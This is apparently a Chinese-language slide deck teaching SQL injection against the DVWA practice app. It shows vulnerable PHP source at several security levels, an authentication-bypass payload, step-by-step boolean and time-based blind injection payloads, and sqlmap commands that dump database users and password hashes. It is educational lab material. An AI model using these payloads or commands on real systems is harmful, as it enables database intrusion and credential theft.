hrjk
TDOHacker 北區召集人兼創辦人 (slides.com/hrjk下的所有簡報皆採用創用 CC 姓名標示-非商業性-相同方式分享 4.0 國際 授權條款授權.)
Web Security
SQL Injection - SQLi
UPDATE:修改資料庫已存在資料
SELECT:取得資料庫已存在資料
INSERT:新增⼀一筆資料
DELETE:刪除⼀一筆資料
SELECT * FROM account WHERE username=‘’ AND password = ‘’
從 account表格中選擇
username=‘’ 且 password=‘’的資料
$sql = "SELECT * FROM account WHERE
username='".$_POST['username']."' AND password = '".$_POST['password']."'";
SELECT * FROM account WHERE
username=‘demouser’ AND password = ‘demopass’;
$_POST[‘username’] = “1’ OR uid=‘1’/*”;
$_POST[‘password’] = “*/ OR password=‘”;
$sql = “SELECT * FROM account WHERE username=‘."1'
OR uid='1'/*".' AND password = ‘."*/ OR password=' ".'";
SELECT * FROM account WHERE
username='1' OR uid=‘1' OR password=‘’;
從account表格中選取username=‘1’或 uid=‘1’或password=‘’該列的所有資料
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
基本上跟 Low 可以用的語法相似
差異只有在:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
基本上跟 Low 可以用的語法相似
差異只有在:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
//字元型
SELECT first_name, last_name FROM users WHERE user_id = '123';
//數字型
SELECT first_name, last_name FROM users WHERE user_id = 123;
1' and length(database())=1 # ... MISSING
1' and length(database())=2 # ... MISSING
1' and length(database())=3 # ... MISSING
.
.
.
.
1' and length(database())=X # ... exists
ascii() = 將字元轉換成數字
substr(${字串},${起始位置},${取幾個字})
EX: substr(asdfgh,2,4)
ECHO : ubst
1' and ascii(substr(database(),1,1))>97 # ... exists
1' and ascii(substr(database(),1,1))<122 # ... exists
1' and ascii(substr(database(),1,1))<109 # ... exists
1' and ascii(substr(database(),1,1))<103 # ... exists
1' and ascii(substr(database(),1,1))<106 # ... exists
1' and ascii(substr(database(),1,1))<100 # ... MISSING
1' and ascii(substr(database(),1,1))<101 # ... exists
1' and ascii(substr(database(),1,1))>100 # ... MISSING
(select count(table_name) from
information_schema.tables where table_schema=database())=x
count(table_name)=計數用
ascii(substr((select table_name
from information_schema.tables where table_schema=database() limit 0,1),1,1))
limit ${index 開始點},${回傳幾筆} :
//index 從 0 開始
EX :
testtable
index id name
0 1 aaaa
1 2 baab
2 3 caac
3 4 daad
4 5 eaae
select * from testable limit 1,3
2 baab
3 caac
4 daad
1' and length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=1 #
... MISSING
1' and length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=2 #
... MISSING
.
.
.
.
.
1' and length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=x #
... exists
ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))
//依序猜解 Table 名稱的每個字母
1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
... exists
1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #
... exists
1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #
... exists
.
.
.
.
.
1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
... MISSING
1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #
... MISSING
1 and sleep(5) #
//沒有任何的延遲感
1' and sleep(5) #
//延遲 5 秒後才有結果出現
1' and if(length(database())=1,sleep(5),1) #
... 無延遲感
1' and if(length(database())=2,sleep(5),1) #
... 無延遲感
1' and if(length(database())=3,sleep(5),1) #
... 無延遲感
1' and if(length(database())=4,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(ascii(substr(database(),1,1))<122,sleep(5),1) #
... 感覺延遲約 5 秒
.
.
.
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) #
... 無延遲感
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) #
... 無延遲感
1' and if((select count(table_name) from
information_schema.tables where table_schema=database() )=1,sleep(5),1) #
... 無延遲感
1' and if((select count(table_name) from
information_schema.tables where table_schema=database() )=2,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(length(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
... 無延遲感
.
.
.
1' and if(length(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(length(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
... 無延遲感
.
.
.
1' and if(length(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(ascii(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1,1))>97,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(ascii(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1,1))>97,sleep(5),1) #
... 感覺延遲約 5 秒
.
.
.
1' and if(ascii(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1,1))>103,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if(ascii(substr((select table_name
from information_schema.tables
where table_schema=database() limit 0,1),1,1))<103,sleep(5),1) #
... 感覺延遲約 5 秒
1' and if((select count(column_name)
from information_schema.columns
where table_name= 'guestbook')=1,sleep(5),1) #
... 無延遲感
.
.
.
1' and if((select count(column_name)
from information_schema.columns
where table_name= 'guestbook')=3,sleep(5),1) #
... 延遲約5秒
1' and if(length(substr((select column_name
from information_schema.columns
where table_name= 'guestbook' limit 0,1),1))=1,sleep(5),1) #
... 無延遲感
.
.
.
1' and if(length(substr((select column_name
from information_schema.columns
where table_name= 'guestbook' limit 0,1),1))=10,sleep(5),1) #
... 延遲約5秒
1' and if(ascii(substr((select column_name
from information_schema.columns
where table_name= 'users' limit 0,1),1,1))>97,sleep(5),1) #
... 延遲約5秒
.
.
.
1' and if(ascii(substr((select column_name
from information_schema.columns
where table_name= 'users' limit 0,1),1,1))>99,sleep(5),1) #
... 無延遲感
1' and if(ascii(substr((select column_name
from information_schema.columns
where table_name= 'users' limit 0,1),1,1))<99,sleep(5),1) #
... 無延遲感
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the
mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
改封包中的 id 值
避開特殊符號,因為 mysql_real_escape_string 會作轉譯
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
sqlmap -u“[url]”
--cookie=“[cookies]”
-b --current-db --current-user
--cookie : 因為需要登入,所以一定要讓 sqlmap 有 cookies 可用,不然跳不到需要跑的頁面
-u : 指定目標的 URL
-b : 取得 DBMS 的 banner
--current-db : 顯示目前的 DB
--current-user : 顯示目前的 User
sqlmap -u“[url]” --cookie=”[cookies]"
--users --password”
--users : 列出 DBMS 用戶
--password : 暴力破解 DBMS 用戶的密碼 hash
sqlmap -u“[url]” --cookie=”[cookies]"
--dbs
--dbs : 列出所有的 DB
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa --tables
-D : 要列出的 DB
--tables : 列出 DB 底下所有的 Table
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa --tables
-D : 要列出的 DB
--tables : 列出 DB 底下所有的 Table
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa -T users --columns
-T : 要列出的 Table
--columns : 列出 Table 底下所有的列
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa -T users-C user,password --dump
-C : 要列出的 列
-dump : 轉除 DBMS 的資料表項
By hrjk